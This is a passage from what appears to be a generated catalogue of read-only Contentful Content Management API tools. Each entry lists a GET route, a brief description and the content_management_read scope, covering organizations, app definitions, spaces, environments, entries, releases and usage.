/api/v1/contentful/organizations/{organization_id}/app_definitions/{app_definition_id}/app_bundles. Scopes: content_management_read. contentful_get_organizations_by_organization_id_app_definitions_by_app_definition_id_app_bundles_by_app_bundle_id (read) — Get an app bundle via GET /organizations/{organization_id}/app_definitions/{app_definition_id}/app_bundles/{app_bundle_id} GET /api/v1/contentful/organizations/{organization_id}/app_definitions/{app_definition_id}/app_bundles/{app_bundle_id}. Scopes: content_management_read. contentful_get_organizations_by_organization_id_app_definitions_by_app_definition_id_details (read) — Get app details via GET /organizations/{organization_id}/app_definitions/{app_definition_id}/details GET /api/v1/contentful/organizations/{organization_id}/app_definitions/{app_definition_id}/details. Scopes: content_management_read. contentful_get_organizations_by_organization_id_app_definitions_by_app_definition_id_event_subscription (read) — Get an app event subscription via GET /organizations/{organization_id}/app_definitions/{app_definition_id}/event_subscription GET /api/v1/contentful/organizations/{organization_id}/app_definitions/{app_definition_id}/event_subscription. Scopes: content_management_read. contentful_get_organizations_by_organization_id_app_definitions_by_app_definition_id_functions (read) — Get all functions via GET /organizations/{organization_id}/app_definitions/{app_definition_id}/functions GET /api/v1/contentful/organizations/{organization_id}/app_definitions/{app_definition_id}/functions. Scopes: content_management_read. contentful_get_organizations_by_organization_id_app_definitions_by_app_definition_id_functions_by_function_id (read) — Get a function via GET /organizations/{organization_id}/app_definitions/{app_definition_id}/functions/{function_id} GET /api/v1/contentful/organizations/{organization_id}/app_definitions/{app_definition_id}/functions/{function_id}. Scopes: content_management_read. contentful_get_organizations_by_organization_id_app_definitions_by_app_definition_id_keys (read) — Get all app keys via GET /organizations/{organization_id}/app_definitions/{app_definition_id}/keys GET /api/v1/contentful/organizations/{organization_id}/app_definitions/{app_definition_id}/keys. Scopes: content_management_read. contentful_get_organizations_by_organization_id_app_definitions_by_app_definition_id_keys_by_key_kid (read) — Get an app key via GET /organizations/{organization_id}/app_definitions/{app_definition_id}/keys/{key_kid} GET /api/v1/contentful/organizations/{organization_id}/app_definitions/{app_definition_id}/keys/{key_kid}. Scopes: content_management_read. contentful_get_organizations_by_organization_id_app_definitions_by_app_definition_id_resource_provider (read) — Get a resource provider via GET /organizations/{organization_id}/app_definitions/{app_definition_id}/resource_provider GET /api/v1/contentful/organizations/{organization_id}/app_definitions/{app_definition_id}/resource_provider. Scopes: content_management_read. contentful_get_organizations_by_organization_id_app_definitions_by_app_definition_id_resource_provider_resource_types (read) — Get all resource types via GET /organizations/{organization_id}/app_definitions/{app_definition_id}/resource_provider/resource_types GET /api/v1/contentful/organizations/{organization_id}/app_definitions/{app_definition_id}/resource_provider/resource_types. Scopes: content_management_read. contentful_get_organizations_by_organization_id_app_definitions_by_app_definition_id_resource_provider_resource_types_by_resource_type_id (read) — Get a resource type via GET /organizations/{organization_id}/app_definitions/{app_definition_id}/resource_provider/resource_types/{resource_type_id} GET /api/v1/contentful/organizations/{organization_id}/app_definitions/{app_definition_id}/resource_provider/resource_types/{resource_type_id}. Scopes: content_management_read. contentful_get_organizations_by_organization_id_app_definitions_by_app_definition_id_signing_secret (read) — Get the current app signing secret via GET /organizations/{organization_id}/app_definitions/{app_definition_id}/signing_secret GET /api/v1/contentful/organizations/{organization_id}/app_definitions/{app_definition_id}/signing_secret. Scopes: content_management_read. contentful_get_organizations_by_organization_id_app_uploads_by_app_upload_id (read) — Get an app upload via GET /organizations/{organization_id}/app_uploads/{app_upload_id} GET /api/v1/contentful/organizations/{organization_id}/app_uploads/{app_upload_id}. Scopes: content_management_read. contentful_get_organizations_by_organization_id_available_licenses (read) — Use this endpoint to list all the available licenses for an organization, the response is the counted and grouped licenses (by `product Id`). via GET /organizations/{organization_id}/available_licenses GET /api/v1/contentful/organizations/{organization_id}/available_licenses. Scopes: content_management_read. contentful_get_organizations_by_organization_id_enablements (read) — Returns the enablement status of all features in an organization. A default document (all features `false`) is created if none exists yet. via GET /organizations/{organization_id}/enablements GET /api/v1/contentful/organizations/{organization_id}/enablements. Scopes: content_management_read. contentful_get_organizations_by_organization_id_environment_templates (read) — This action returns a collection with all the environment templates in the organization repository. The templates are ordered by creation date descending. via GET /organizations/{organization_id}/environment_templates GET /api/v1/contentful/organizations/{organization_id}/environment_templates. Scopes: content_management_read. contentful_get_organizations_by_organization_id_environment_templates_by_template_id (read) — This action returns a specific environment template in the organization repository. The returned template is also the latest version in the **/versions** endpoint. via GET /organizations/{organization_id}/environment_templates/{template_id} GET /api/v1/contentful/organizations/{organization_id}/environment_templates/{template_id}. Scopes: content_management_read. contentful_get_organizations_by_organization_id_environment_templates_by_template_id_template_installations (read) — This action returns a collection with all installations of an environment template in the organization. via GET /organizations/{organization_id}/environment_templates/{template_id}/template_installations GET /api/v1/contentful/organizations/{organization_id}/environment_templates/{template_id}/template_installations. Scopes: content_management_read. contentful_get_organizations_by_organization_id_environment_templates_by_template_id_versions (read) — This action returns all the versions of an environment template. The versions are ordered by version number descending. via GET /organizations/{organization_id}/environment_templates/{template_id}/versions GET /api/v1/contentful/organizations/{organization_id}/environment_templates/{template_id}/versions. Scopes: content_management_read. contentful_get_organizations_by_organization_id_environment_templates_by_template_id_versions_by_version_number (read) — This action returns a certain version of an environment template. via GET /organizations/{organization_id}/environment_templates/{template_id}/versions/{version_number} GET /api/v1/contentful/organizations/{organization_id}/environment_templates/{template_id}/versions/{version_number}. Scopes: content_management_read. contentful_get_organizations_by_organization_id_logging_configurations (read) — Returns a paginated collection of logging configurations for the organization. via GET /organizations/{organization_id}/logging_configurations GET /api/v1/contentful/organizations/{organization_id}/logging_configurations. Scopes: content_management_read. contentful_get_organizations_by_organization_id_logging_configurations_by_configuration_id (read) — Returns a single logging configuration by ID. via GET /organizations/{organization_id}/logging_configurations/{configuration_id} GET /api/v1/contentful/organizations/{organization_id}/logging_configurations/{configuration_id}. Scopes: content_management_read. contentful_get_organizations_by_organization_id_logging_configurations_by_configuration_id_status (read) — Returns cursor-paginated delivery attempt history for a configuration. Records are retained for 180 days. via GET /organizations/{organization_id}/logging_configurations/{configuration_id}/status GET /api/v1/contentful/organizations/{organization_id}/logging_configurations/{configuration_id}/status. Scopes: content_management_read. contentful_get_organizations_by_organization_id_organization_periodic_usages (read) — **Deprecated. Sunset: 2027-02-28.** Use [Get aggregated usage](/references/content-management-api/usage/get-usage-aggregated) instead. See the [Usage migration guide](/references/content-management-api/usage-migration-guide) for a full mapping of parameters and response shapes.Query organization usage by `metric` for a given date range. If `startAt` and `endAt` are not passed through the query a historical data for the last 45 days will be returned by default. via GET /organizations/{organization_id}/organization_periodic_usages GET /api/v1/contentful/organizations/{organization_id}/organization_periodic_usages. Scopes: content_management_read. contentful_get_organizations_by_organization_id_security_contacts (read) — Get an organization security contacts an admin or owner has access to via GET /organizations/{organization_id}/security_contacts GET /api/v1/contentful/organizations/{organization_id}/security_contacts. Scopes: content_management_read. contentful_get_organizations_by_organization_id_semantic_search_index (read) — Get all search indices via GET /organizations/{organization_id}/semantic/search-index GET /api/v1/contentful/organizations/{organization_id}/semantic/search-index. Scopes: content_management_read. contentful_get_organizations_by_organization_id_semantic_search_index_by_index_id (read) — Get a search index via GET /organizations/{organization_id}/semantic/search-index/{index_id} GET /api/v1/contentful/organizations/{organization_id}/semantic/search-index/{index_id}. Scopes: content_management_read. contentful_get_organizations_by_organization_id_semantic_settings (read) — Get semantic settings via GET /organizations/{organization_id}/semantic/settings GET /api/v1/contentful/organizations/{organization_id}/semantic/settings. Scopes: content_management_read. contentful_get_organizations_by_organization_id_space_add_ons (read) — Get space add-ons from a specific organization. via GET /organizations/{organization_id}/space_add_ons GET /api/v1/contentful/organizations/{organization_id}/space_add_ons. Scopes: content_management_read. contentful_get_organizations_by_organization_id_space_enablements (read) — Returns enablement status for all features across all spaces in the organization. A default document (all features `false`) is created for any space that lacks one. via GET /organizations/{organization_id}/space_enablements GET /api/v1/contentful/organizations/{organization_id}/space_enablements. Scopes: content_management_read. contentful_get_organizations_by_organization_id_space_periodic_usages (read) — **Deprecated. Sunset: 2027-02-28.** Use [Get aggregated usage](/references/content-management-api/usage/get-usage-aggregated) with `filter[sys.dimensions.space.sys.id]={spaceId}` instead. See the [Usage migration guide](/references/content-management-api/usage-migration-guide) for a full mapping of parameters and response shapes.Query organization usage by space and `metric` for a given date range. via GET /organizations/{organization_id}/space_periodic_usages GET /api/v1/contentful/organizations/{organization_id}/space_periodic_usages. Scopes: content_management_read. contentful_get_organizations_by_organization_id_taxonomy_concept_schemes (read) — Get concept schemes via GET /organizations/{organization_id}/taxonomy/concept-schemes GET /api/v1/contentful/organizations/{organization_id}/taxonomy/concept-schemes. Scopes: content_management_read. contentful_get_organizations_by_organization_id_taxonomy_concept_schemes_by_concept_scheme_id (read) — Get a concept scheme via GET /organizations/{organization_id}/taxonomy/concept-schemes/{concept_scheme_id} GET /api/v1/contentful/organizations/{organization_id}/taxonomy/concept-schemes/{concept_scheme_id}. Scopes: content_management_read. contentful_get_organizations_by_organization_id_taxonomy_concepts (read) — Returns all taxonomy concepts for an organization, with cursor-based pagination. Filter by `sys.id[in]`, `conceptScheme`, `order`, `limit`, `query`, `pageNext`, and `pagePrev` query parameters. via GET /organizations/{organization_id}/taxonomy/concepts GET /api/v1/contentful/organizations/{organization_id}/taxonomy/concepts. Scopes: content_management_read. contentful_get_organizations_by_organization_id_taxonomy_concepts_by_concept_id (read) — Get a concept via GET /organizations/{organization_id}/taxonomy/concepts/{concept_id} GET /api/v1/contentful/organizations/{organization_id}/taxonomy/concepts/{concept_id}. Scopes: content_management_read. contentful_get_organizations_by_organization_id_taxonomy_concepts_by_concept_id_ancestors (read) — Get ancestors of a concept via GET /organizations/{organization_id}/taxonomy/concepts/{concept_id}/ancestors GET /api/v1/contentful/organizations/{organization_id}/taxonomy/concepts/{concept_id}/ancestors. Scopes: content_management_read. contentful_get_organizations_by_organization_id_taxonomy_concepts_by_concept_id_descendants (read) — Get descendants of a concept via GET /organizations/{organization_id}/taxonomy/concepts/{concept_id}/descendants GET /api/v1/contentful/organizations/{organization_id}/taxonomy/concepts/{concept_id}/descendants. Scopes: content_management_read. contentful_get_organizations_by_organization_id_taxonomy_concepts_schemes_total (read) — Get number of concept schemes via GET /organizations/{organization_id}/taxonomy/concepts-schemes/total GET /api/v1/contentful/organizations/{organization_id}/taxonomy/concepts-schemes/total. Scopes: content_management_read. contentful_get_organizations_by_organization_id_taxonomy_concepts_total (read) — Get number of concepts via GET /organizations/{organization_id}/taxonomy/concepts/total GET /api/v1/contentful/organizations/{organization_id}/taxonomy/concepts/total. Scopes: content_management_read. contentful_get_organizations_by_organization_id_usages_by_metric_key (read) — Returns aggregated usage for a single metric over a configurable date range and granularity. This is the recommended endpoint for consuming Usage API data — it replaces the legacy `organization_periodic_usages` and `space_periodic_usages` endpoints (see the [Usage migration guide](/references/content-management-api/usage-migration-guide)). via GET /organizations/{organization_id}/usages/{metric_key} GET /api/v1/contentful/organizations/{organization_id}/usages/{metric_key}. Scopes: content_management_read. contentful_get_organizations_by_organization_id_usages_detailed_asset_bandwidth (read) — Returns the top 30 assets by bandwidth used for an organization over a given date range, ranked descending and grouped by asset and space. This is a fixed-shape leaderboard, not a general-purpose query endpoint — unlike [Get aggregated usage](/references/content-management-api/usage/get-usage-aggregated), it does not support `group`, `filter`, or `order` parameters, and covers a single metric (`asset_bandwidth`) only. via GET /organizations/{organization_id}/usages-detailed/asset_bandwidth GET /api/v1/contentful/organizations/{organization_id}/usages-detailed/asset_bandwidth. Scopes: content_management_read. contentful_get_spaces (read) — Get all spaces an account has access to via GET /spaces GET /api/v1/contentful/spaces. Scopes: content_management_read. contentful_get_spaces_by_space_id (read) — Get a space via GET /spaces/{space_id} GET /api/v1/contentful/spaces/{space_id}. Scopes: content_management_read. contentful_get_spaces_by_space_id_ai_actions (read) — Returns all the AI Actions that exist in a given space. via GET /spaces/{space_id}/ai/actions GET /api/v1/contentful/spaces/{space_id}/ai/actions. Scopes: content_management_read. contentful_get_spaces_by_space_id_ai_actions_by_ai_action_id (read) — Use this endpoint to read an AI Action for a specified space. via GET /spaces/{space_id}/ai/actions/{ai_action_id} GET /api/v1/contentful/spaces/{space_id}/ai/actions/{ai_action_id}. Scopes: content_management_read. contentful_get_spaces_by_space_id_api_keys (read) — Get all Delivery API keys via GET /spaces/{space_id}/api_keys GET /api/v1/contentful/spaces/{space_id}/api_keys. Scopes: content_management_read. contentful_get_spaces_by_space_id_api_keys_by_api_key_id (read) — This endpoint returns details about an existing Delivery API key. via GET /spaces/{space_id}/api_keys/{api_key_id} GET /api/v1/contentful/spaces/{space_id}/api_keys/{api_key_id}. Scopes: content_management_read. contentful_get_spaces_by_space_id_eligible_licenses (read) — Use this endpoint to list all eligible licenses for a given space under an organization. This will check if the space usage would fit into the licenses limits, and also check if entitlements bank can cover if shortage exists. via GET /spaces/{space_id}/eligible_licenses GET /api/v1/contentful/spaces/{space_id}/eligible_licenses. Scopes: content_management_read. contentful_get_spaces_by_space_id_enablements (read) — Returns the enablement status of all features in a space. A default document (all features `false`) is created if none exists yet. via GET /spaces/{space_id}/enablements GET /api/v1/contentful/spaces/{space_id}/enablements. Scopes: content_management_read. contentful_get_spaces_by_space_id_environment_aliases (read) — Get all environment aliases of a space via GET /spaces/{space_id}/environment_aliases GET /api/v1/contentful/spaces/{space_id}/environment_aliases. Scopes: content_management_read. contentful_get_spaces_by_space_id_environment_aliases_by_environment_alias_id (read) — Get an environment alias via GET /spaces/{space_id}/environment_aliases/{environment_alias_id} GET /api/v1/contentful/spaces/{space_id}/environment_aliases/{environment_alias_id}. Scopes: content_management_read. contentful_get_spaces_by_space_id_environments (read) — Get all environments of a space via GET /spaces/{space_id}/environments GET /api/v1/contentful/spaces/{space_id}/environments. Scopes: content_management_read. contentful_get_spaces_by_space_id_environments_by_environment_id (read) — Get an environment via GET /spaces/{space_id}/environments/{environment_id} GET /api/v1/contentful/spaces/{space_id}/environments/{environment_id}. Scopes: content_management_read. contentful_get_spaces_by_space_id_environments_by_environment_id_ai_actions_by_ai_action_id_invocations_by_ai_action_invocation_id (read) — Use this endpoint to obtain the result of an AI Action Invocation for a specified space, environment, AI Action and Invocation. via GET /spaces/{space_id}/environments/{environment_id}/ai/actions/{ai_action_id}/invocations/{ai_action_invocation_id} GET /api/v1/contentful/spaces/{space_id}/environments/{environment_id}/ai/actions/{ai_action_id}/invocations/{ai_action_invocation_id}. Scopes: content_management_read. contentful_get_spaces_by_space_id_environments_by_environment_id_app_installations (read) — Get all app installations via GET /spaces/{space_id}/environments/{environment_id}/app_installations GET /api/v1/contentful/spaces/{space_id}/environments/{environment_id}/app_installations. Scopes: content_management_read. contentful_get_spaces_by_space_id_environments_by_environment_id_app_installations_by_app_definition_id (read) — Get an app installation via GET /spaces/{space_id}/environments/{environment_id}/app_installations/{app_definition_id} GET /api/v1/contentful/spaces/{space_id}/environments/{environment_id}/app_installations/{app_definition_id}. Scopes: content_management_read. contentful_get_spaces_by_space_id_environments_by_environment_id_app_installations_by_app_installation_id_actions_by_app_action_id_calls_by_call_id (read) — Get a call via GET /spaces/{space_id}/environments/{environment_id}/app_installations/{app_installation_id}/actions/{app_action_id}/calls/{call_id} GET /api/v1/contentful/spaces/{space_id}/environments/{environment_id}/app_installations/{app_installation_id}/actions/{app_action_id}/calls/{call_id}. Scopes: content_management_read. contentful_get_spaces_by_space_id_environments_by_environment_id_app_installations_by_app_installation_id_actions_by_app_action_id_calls_by_call_id_response (read) — Get raw response via GET /spaces/{space_id}/environments/{environment_id}/app_installations/{app_installation_id}/actions/{app_action_id}/calls/{call_id}/response GET /api/v1/contentful/spaces/{space_id}/environments/{environment_id}/app_installations/{app_installation_id}/actions/{app_action_id}/calls/{call_id}/response. Scopes: content_management_read. contentful_get_spaces_by_space_id_environments_by_environment_id_app_installations_by_app_installation_id_functions (read) — Get all functions for an environment via GET /spaces/{space_id}/environments/{environment_id}/app_installations/{app_installation_id}/functions GET /api/v1/contentful/spaces/{space_id}/environments/{environment_id}/app_installations/{app_installation_id}/functions. Scopes: content_management_read. contentful_get_spaces_by_space_id_environments_by_environment_id_app_installations_by_app_installation_id_functions_by_function_id_logs (read) — Get all function logs via GET /spaces/{space_id}/environments/{environment_id}/app_installations/{app_installation_id}/functions/{function_id}/logs GET /api/v1/contentful/spaces/{space_id}/environments/{environment_id}/app_installations/{app_installation_id}/functions/{function_id}/logs. Scopes: content_management_read. contentful_get_spaces_by_space_id_environments_by_environment_id_app_installations_by_app_installation_id_functions_by_function_id_logs_by_log_id (read) — Get a function log via GET /spaces/{space_id}/environments/{environment_id}/app_installations/{app_installation_id}/functions/{function_id}/logs/{log_id} GET /api/v1/contentful/spaces/{space_id}/environments/{environment_id}/app_installations/{app_installation_id}/functions/{function_id}/logs/{log_id}. Scopes: content_management_read. contentful_get_spaces_by_space_id_environments_by_environment_id_assets (read) — To fetch specific assets use [query search parameter](#/reference/search-parameters). via GET /spaces/{space_id}/environments/{environment_id}/assets GET /api/v1/contentful/spaces/{space_id}/environments/{environment_id}/assets. Scopes: content_management_read. contentful_get_spaces_by_space_id_environments_by_environment_id_assets_by_asset_id (read) — Get an asset via GET /spaces/{space_id}/environments/{environment_id}/assets/{asset_id} GET /api/v1/contentful/spaces/{space_id}/environments/{environment_id}/assets/{asset_id}. Scopes: content_management_read. contentful_get_spaces_by_space_id_environments_by_environment_id_automation_definitions (read) — Get all automation definitions via GET /spaces/{space_id}/environments/{environment_id}/automation_definitions GET /api/v1/contentful/spaces/{space_id}/environments/{environment_id}/automation_definitions. Scopes: content_management_read. contentful_get_spaces_by_space_id_environments_by_environment_id_automation_definitions_by_automation_definition_id (read) — Get automation definition via GET /spaces/{space_id}/environments/{environment_id}/automation_definitions/{automation_definition_id} GET /api/v1/contentful/spaces/{space_id}/environments/{environment_id}/automation_definitions/{automation_definition_id}. Scopes: content_management_read. contentful_get_spaces_by_space_id_environments_by_environment_id_automation_definitions_by_automation_definition_id_automation_executions (read) — Get executions for automation definition via GET /spaces/{space_id}/environments/{environment_id}/automation_definitions/{automation_definition_id}/automation_executions GET /api/v1/contentful/spaces/{space_id}/environments/{environment_id}/automation_definitions/{automation_definition_id}/automation_executions. Scopes: content_management_read. contentful_get_spaces_by_space_id_environments_by_environment_id_automation_executions (read) — Get all automation executions via GET /spaces/{space_id}/environments/{environment_id}/automation_executions GET /api/v1/contentful/spaces/{space_id}/environments/{environment_id}/automation_executions. Scopes: content_management_read. contentful_get_spaces_by_space_id_environments_by_environment_id_automation_executions_by_automation_execution_id (read) — Get automation execution via GET /spaces/{space_id}/environments/{environment_id}/automation_executions/{automation_execution_id} GET /api/v1/contentful/spaces/{space_id}/environments/{environment_id}/automation_executions/{automation_execution_id}. Scopes: content_management_read. contentful_get_spaces_by_space_id_environments_by_environment_id_bulk_actions_actions_by_bulk_action_id (read) — Returns a bulk action by ID. Records are retained for 7 days. via GET /spaces/{space_id}/environments/{environment_id}/bulk_actions/actions/{bulk_action_id} GET /api/v1/contentful/spaces/{space_id}/environments/{environment_id}/bulk_actions/actions/{bulk_action_id}. Scopes: content_management_read. contentful_get_spaces_by_space_id_environments_by_environment_id_bulk_operations (read) — Retrieves bulk operations for the specified space and environment (cursor-paginated). Each item in `items` includes `sys` only (no `payload`, `result`, or `error`). via GET /spaces/{space_id}/environments/{environment_id}/bulk_operations GET /api/v1/contentful/spaces/{space_id}/environments/{environment_id}/bulk_operations. Scopes: content_management_read. contentful_get_spaces_by_space_id_environments_by_environment_id_bulk_operations_by_bulk_operation_id (read) — Returns the status of a bulk operation by ID. Check `sys.status` for state and `result.items` for per-entry outcomes; export jobs return `result.files` with signed ZIP URLs. via GET /spaces/{space_id}/environments/{environment_id}/bulk_operations/{bulk_operation_id} GET /api/v1/contentful/spaces/{space_id}/environments/{environment_id}/bulk_operations/{bulk_operation_id}. Scopes: content_management_read. contentful_get_spaces_by_space_id_environments_by_environment_id_content_types (read) — Get all content types of a space via GET /spaces/{space_id}/environments/{environment_id}/content_types GET /api/v1/contentful/spaces/{space_id}/environments/{environment_id}/content_types. Scopes: content_management_read. contentful_get_spaces_by_space_id_environments_by_environment_id_content_types_by_content_type_id (read) — Get a content type via GET /spaces/{space_id}/environments/{environment_id}/content_types/{content_type_id} GET /api/v1/contentful/spaces/{space_id}/environments/{environment_id}/content_types/{content_type_id}. Scopes: content_management_read. contentful_get_spaces_by_space_id_environments_by_environment_id_content_types_by_content_type_id_editor_interface (read) — Get the editor interface via GET /spaces/{space_id}/environments/{environment_id}/content_types/{content_type_id}/editor_interface GET /api/v1/contentful/spaces/{space_id}/environments/{environment_id}/content_types/{content_type_id}/editor_interface. Scopes: content_management_read. contentful_get_spaces_by_space_id_environments_by_environment_id_content_types_by_content_type_id_snapshots (read) — Get all snapshots of a content type via GET /spaces/{space_id}/environments/{environment_id}/content_types/{content_type_id}/snapshots GET /api/v1/contentful/spaces/{space_id}/environments/{environment_id}/content_types/{content_type_id}/snapshots. Scopes: content_management_read. contentful_get_spaces_by_space_id_environments_by_environment_id_content_types_by_content_type_id_snapshots_by_snapshot_id (read) — Get a snapshot of a content type via GET /spaces/{space_id}/environments/{environment_id}/content_types/{content_type_id}/snapshots/{snapshot_id} GET /api/v1/contentful/spaces/{space_id}/environments/{environment_id}/content_types/{content_type_id}/snapshots/{snapshot_id}. Scopes: content_management_read. contentful_get_spaces_by_space_id_environments_by_environment_id_editor_interfaces (read) — Get all editor interfaces of a space via GET /spaces/{space_id}/environments/{environment_id}/editor_interfaces GET /api/v1/contentful/spaces/{space_id}/environments/{environment_id}/editor_interfaces. Scopes: content_management_read. contentful_get_spaces_by_space_id_environments_by_environment_id_entries (read) — To fetch specific entries like e.g. entries of a particular content type use [query search parameters](#/reference/search-parameters). via GET /spaces/{space_id}/environments/{environment_id}/entries GET /api/v1/contentful/spaces/{space_id}/environments/{environment_id}/entries. Scopes: content_management_read. contentful_get_spaces_by_space_id_environments_by_environment_id_entries_by_entry_id (read) — Returns an entry by ID. Empty fields are omitted from the response; include all keys that need to be updated when writing back. via GET /spaces/{space_id}/environments/{environment_id}/entries/{entry_id} GET /api/v1/contentful/spaces/{space_id}/environments/{environment_id}/entries/{entry_id}. Scopes: content_management_read. contentful_get_spaces_by_space_id_environments_by_environment_id_entries_by_entry_id_comments (read) — Returns all comments on an entry (unpaginated). Filter by `status` query parameter; any user with read access can read comments. via GET /spaces/{space_id}/environments/{environment_id}/entries/{entry_id}/comments GET /api/v1/contentful/spaces/{space_id}/environments/{environment_id}/entries/{entry_id}/comments. Scopes: content_management_read. contentful_get_spaces_by_space_id_environments_by_environment_id_entries_by_entry_id_comments_by_comment_id (read) — Returns an entry comment by ID. Any user with read access to the entry can read its comments; space admins can read comments in any entry. via GET /spaces/{space_id}/environments/{environment_id}/entries/{entry_id}/comments/{comment_id} GET /api/v1/contentful/spaces/{space_id}/environments/{environment_id}/entries/{entry_id}/comments/{comment_id}. Scopes: content_management_read. contentful_get_spaces_by_space_id_environments_by_environment_id_entries_by_entry_id_references (read) — Get entry references via GET /spaces/{space_id}/environments/{environment_id}/entries/{entry_id}/references GET /api/v1/contentful/spaces/{space_id}/environments/{environment_id}/entries/{entry_id}/references. Scopes: content_management_read. contentful_get_spaces_by_space_id_environments_by_environment_id_entries_by_entry_id_snapshots (read) — Get all snapshots of an entry via GET /spaces/{space_id}/environments/{environment_id}/entries/{entry_id}/snapshots GET /api/v1/contentful/spaces/{space_id}/environments/{environment_id}/entries/{entry_id}/snapshots. Scopes: content_management_read. contentful_get_spaces_by_space_id_environments_by_environment_id_entries_by_entry_id_snapshots_by_snapshot_id (read) — Get a snapshot of an entry via GET /spaces/{space_id}/environments/{environment_id}/entries/{entry_id}/snapshots/{snapshot_id} GET /api/v1/contentful/spaces/{space_id}/environments/{environment_id}/entries/{entry_id}/snapshots/{snapshot_id}. Scopes: content_management_read. contentful_get_spaces_by_space_id_environments_by_environment_id_entries_by_entry_id_tasks (read) — Returns a paginated list of tasks for an entry. Any user with read access to the entry can read its tasks; space admins can read tasks in any entry. via GET /spaces/{space_id}/environments/{environment_id}/entries/{entry_id}/tasks GET /api/v1/contentful/spaces/{space_id}/environments/{environment_id}/entries/{entry_id}/tasks. Scopes: content_management_read. contentful_get_spaces_by_space_id_environments_by_environment_id_entries_by_entry_id_tasks_by_task_id (read) — Returns an entry task by ID. Any user with read access to the entry can read its tasks; space admins can read tasks in any entry. via GET /spaces/{space_id}/environments/{environment_id}/entries/{entry_id}/tasks/{task_id} GET /api/v1/contentful/spaces/{space_id}/environments/{environment_id}/entries/{entry_id}/tasks/{task_id}. Scopes: content_management_read. contentful_get_spaces_by_space_id_environments_by_environment_id_extensions (read) — Get all extensions of a space via GET /spaces/{space_id}/environments/{environment_id}/extensions GET /api/v1/contentful/spaces/{space_id}/environments/{environment_id}/extensions. Scopes: content_management_read. contentful_get_spaces_by_space_id_environments_by_environment_id_extensions_by_extension_id (read) — Get an extension via GET /spaces/{space_id}/environments/{environment_id}/extensions/{extension_id} GET /api/v1/contentful/spaces/{space_id}/environments/{environment_id}/extensions/{extension_id}. Scopes: content_management_read. contentful_get_spaces_by_space_id_environments_by_environment_id_locales (read) — The locales endpoint returns a list of all created locales. One will have the flag `default` set to true and is the locale used in the CDA, and you specified no other locale in the request. via GET /spaces/{space_id}/environments/{environment_id}/locales GET /api/v1/contentful/spaces/{space_id}/environments/{environment_id}/locales. Scopes: content_management_read. contentful_get_spaces_by_space_id_environments_by_environment_id_locales_by_locale_id (read) — This endpoint returns a single locale and its metadata. via GET /spaces/{space_id}/environments/{environment_id}/locales/{locale_id} GET /api/v1/contentful/spaces/{space_id}/environments/{environment_id}/locales/{locale_id}. Scopes: content_management_read. contentful_get_spaces_by_space_id_environments_by_environment_id_public_assets (read) — Retrieves the published versions of all assets in a space. via GET /spaces/{space_id}/environments/{environment_id}/public/assets GET /api/v1/contentful/spaces/{space_id}/environments/{environment_id}/public/assets. Scopes: content_management_read. contentful_get_spaces_by_space_id_environments_by_environment_id_public_content_types (read) — Retrieves the activated versions of content types, ignoring any changes made since the last activation. via GET /spaces/{space_id}/environments/{environment_id}/public/content_types GET /api/v1/contentful/spaces/{space_id}/environments/{environment_id}/public/content_types. Scopes: content_management_read. contentful_get_spaces_by_space_id_environments_by_environment_id_public_entries (read) — Get all published entries of a space via GET /spaces/{space_id}/environments/{environment_id}/public/entries GET /api/v1/contentful/spaces/{space_id}/environments/{environment_id}/public/entries. Scopes: content_management_read. contentful_get_spaces_by_space_id_environments_by_environment_id_release_actions (read) — Returns release actions across one or more releases. Filter by action type (`validate`, `publish`, `unpublish`), status, and release ID. via GET /spaces/{space_id}/environments/{environment_id}/release_actions GET /api/v1/contentful/spaces/{space_id}/environments/{environment_id}/release_actions. Scopes: content_management_read. contentful_get_spaces_by_space_id_environments_by_environment_id_releases (read) — Returns releases for the environment, cursor-paginated. Filter by ID, creator, status, entity membership, and `title[match]`. via GET /spaces/{space_id}/environments/{environment_id}/releases GET /api/v1/contentful/spaces/{space_id}/environments/{environment_id}/releases. Scopes: content_management_read. contentful_get_spaces_by_space_id_environments_by_environment_id_releases_by_release_id (read) — Returns a single release by ID. via GET /spaces/{space_id}/environments/{environment_id}/releases/{release_id} GET /api/v1/contentful/spaces/{space_id}/environments/{environment_id}/releases/{release_id}. Scopes: content_management_read. contentful_get_spaces_by_space_id_environments_by_environment_id_releases_by_release_id_actions_by_release_action_id (read) — Returns a single release action by ID. Accessible to any user with read access to entries; returns 404 if the release or action is not found. via GET /spaces/{space_id}/environments/{environment_id}/releases/{release_id}/actions/{release_action_id} GET /api/v1/contentful/spaces/{space_id}/environments/{environment_id}/releases/{release_id}/actions/{release_action_id}. Scopes: content_management_read. contentful_get_spaces_by_space_id_environments_by_environment_id_releases_by_release_id_assets (read) — To fetch specific assets use [query search parameters](#/reference/search-parameters). via GET /spaces/{space_id}/environments/{environment_id}/releases/{release_id}/assets GET /api/v1/contentful/spaces/{space_id}/environments/{environment_id}/releases/{release_id}/assets. Scopes: content_management_read. contentful_get_spaces_by_space_id_environments_by_environment_id_releases_by_release_id_assets_by_asset_id (read) — Get an asset in a release via GET /spaces/{space_id}/environments/{environment_id}/releases/{release_id}/assets/{asset_id} GET /api/v1/contentful/spaces/{space_id}/environments/{environment_id}/releases/{release_id}/assets/{asset_id}. Scopes: content_management_read. contentful_get_spaces_by_space_id_environments_by_environment_id_releases_by_release_id_entries (read) — To fetch specific entries like e.g. entries of a particular content type use [query search parameters](#/reference/search-parameters). via GET /spaces/{space_id}/environments/{environment_id}/releases/{release_id}/entries GET /api/v1/contentful/spaces/{space_id}/environments/{environment_id}/releases/{release_id}/entries. Scopes: content_management_read. contentful_get_spaces_by_space_id_environments_by_environment_id_releases_by_release_id_entries_by_entry_id (read) — Returns a release entry by ID. Empty fields are omitted from the response; include them explicitly when updating to set empty values. via GET /spaces/{space_id}/environments/{environment_id}/releases/{release_id}/entries/{entry_id} GET /api/v1/contentful/spaces/{space_id}/environments/{environment_id}/releases/{release_id}/entries/{entry_id}. Scopes: content_management_read. contentful_get_spaces_by_space_id_environments_by_environment_id_resource_types (read) — Get all resource types in an environment via GET /spaces/{space_id}/environments/{environment_id}/resource_types GET /api/v1/contentful/spaces/{space_id}/environments/{environment_id}/resource_types. Scopes: content_management_read. contentful_get_spaces_by_space_id_environments_by_environment_id_resource_types_by_resource_type_id_resources (read) — Get all resources in an environment via GET /spaces/{space_id}/environments/{environment_id}/resource_types/{resource_type_id}/resources GET /api/v1/contentful/spaces/{space_id}/environments/{environment_id}/resource_types/{resource_type_id}/resources. Scopes: content_management_read. contentful_get_spaces_by_space_id_environments_by_environment_id_semantic_search_index (read) — Get all environment search indices via GET /spaces/{space_id}/environments/{environment_id}/semantic/search-index GET 